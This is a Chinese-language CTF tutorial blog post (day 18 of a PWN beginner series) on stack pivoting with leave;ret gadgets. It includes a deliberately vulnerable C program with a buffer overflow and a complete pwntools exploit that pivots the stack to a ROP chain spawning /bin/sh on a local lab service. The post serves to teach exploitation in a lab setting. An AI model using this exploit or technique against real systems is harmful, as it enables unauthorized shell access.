iT邦幫忙

2024 iThome 鐵人賽

DAY 18
0
Security

PWN CTF 超入門筆記系列 第 18

Day18-Stack Pivoting (Stack Migration)

  • 分享至 

  • xImage
  •  

Lab 網址

前言

如果我們沒有辦法有足夠的長度或方法 leak libc 或是構建 ROP chain,還有什麼攻擊方式嗎?其實有的,就是將 stack 直接移到其他區塊並執行事先寫在指定區域的 chain。將 stack 遷移到其他地方的方式就叫做 Stack Pivoting 或 Stack Migration。

Stack Pivoting

Stack Pivoting 是將 ROP chain 分次寫在指定區域,最後將 stack 遷移過去執行。Stack 由 rsp 控制,因此我們需要控制 rsp,主要利用以下的關鍵指令:

  • leave ; ret

實際執行了以下兩個動作:

  • leave -> mov rsp , rbp ; pop rbp ;
  • ret -> pop rip;

由於在每次的 buffer overflow 中,rbp 是可以控制的,所以我們可以利用 rbp 加上這個指令來控制 rsp。這些 gadgets 在程式中幾乎都可以找到,因為它們通常用於 function 結束時恢復上一個 function 的 stack frame。

範例

以下範例展示如何將 rsp 遷移到另一個區塊:

原本的 rbp0x7ffe65dea290rsp0x7ffe65dea280。經過 leave 後,rbp 被換成我們填入的 save rbp 位置,rsp 變為 rbp + 0x8。再透過一次 leaversp 就會進一步改變。

如此一來,我們就可以控制執行流程,並且可以通過不斷遷移 stack 來達成任意的 ROP。

https://ithelp.ithome.com.tw/upload/images/20241002/2016300867ziGw0Efv.png

https://ithelp.ithome.com.tw/upload/images/20241002/20163008SxGUHTmVSq.png

https://ithelp.ithome.com.tw/upload/images/20241002/20163008h7FG7BoDqr.png

https://ithelp.ithome.com.tw/upload/images/20241002/201630085KfKw7pgKr.png

Lab

查看以下原始碼:

#include<stdio.h>
#include<stdlib.h>

char name[0x100];

int main(){
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    char message[0x10];
    puts("Welcome to challenge!");
    puts("What's your name?");
    read(0, name, 0x100);
    puts("Leave a message: ");
    read(0, message, 0x20);
    return 0;
}

使用以下指令進行編譯:

gcc src/stack_pivoting.c  -o ./stack_pivoting/share/stack_pivoting -fno-stack-protector -no-pie -static

writeup

可以發現有一個全域變數 name 可以寫入內容,還有一個 message 可以輸入並且存在 buffer overflow 的風險。我們可以確認是否能覆蓋 return address。

在輸入是從 rbp - 0x10 輸入 0x20,因此可以 overflow 的空間為 0x20 - 0x10 = 0x10,剛好可以覆蓋 return address。

https://ithelp.ithome.com.tw/upload/images/20241002/20163008GVeKZeIMGm.png

因為編譯參數使用了 -static,我們可以利用許多 gadgets 來進行 ROP。不能直接透過 return address 進行 ROP,但可以將 ROP chain 寫在 name 中,透過 stack pivoting 將程式流程轉移到 name,進而執行 ROP。

確認 name 的位置:

https://ithelp.ithome.com.tw/upload/images/20241002/20163008CrBIvhQe0G.png

接下來可以參考Day12-Basic ROP

要注意,name 要填入最後將 rsp 遷移過去會改的 padding,還有要注意 return address 的部分要填上 leave ; ret,並且加上原先就存在 main function 最後的 leave ; ret,即可改變 rsp

完整 exploit:

from pwn import *

context.arch = 'amd64'

# r = process('../stack_pivoting/share/stack_pivoting')
r = remote('127.0.0.1', 10009)

rop = flat(
    0x00000000004048f4, # pop rsi ; ret
    0x49c230, # writable address
    0x0000000000417807, # pop rax ; ret
    b'/bin/sh\x00',
    0x0000000000418f31, # mov qword ptr [rsi], rax ; ret
    0x0000000000417807, # pop rax ; ret
    0x3b, # execve
    0x0000000000402008, # pop rdi ; ret
    0x49c230, # writable address
    0x00000000004048f4, # pop rsi ; ret
    0x0, # NULL
    0x00000000004563b7, # pop rdx ; pop rbx ; ret
    0x0, # NULL
    0x0, # NULL
    0x0000000000401291, # syscall
)
payload = b'A' * 0x8 + rop
r.sendlineafter(b"What's your name?\n",payload)
name = 0x000000000049db40
leave_ret = 0x0000000000401852
pivoting = b'A' * 0x10 + p64(name) + p64(leave_ret)
r.sendlineafter(b"Leave a message: \n",pivoting)
r.interactive()

solve!!!

https://ithelp.ithome.com.tw/upload/images/20241002/20163008RBDLhnOZby.png


上一篇
Day17-ret2csu
下一篇
Day19-Shellcode Bonus-ORW
系列文
PWN CTF 超入門筆記30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言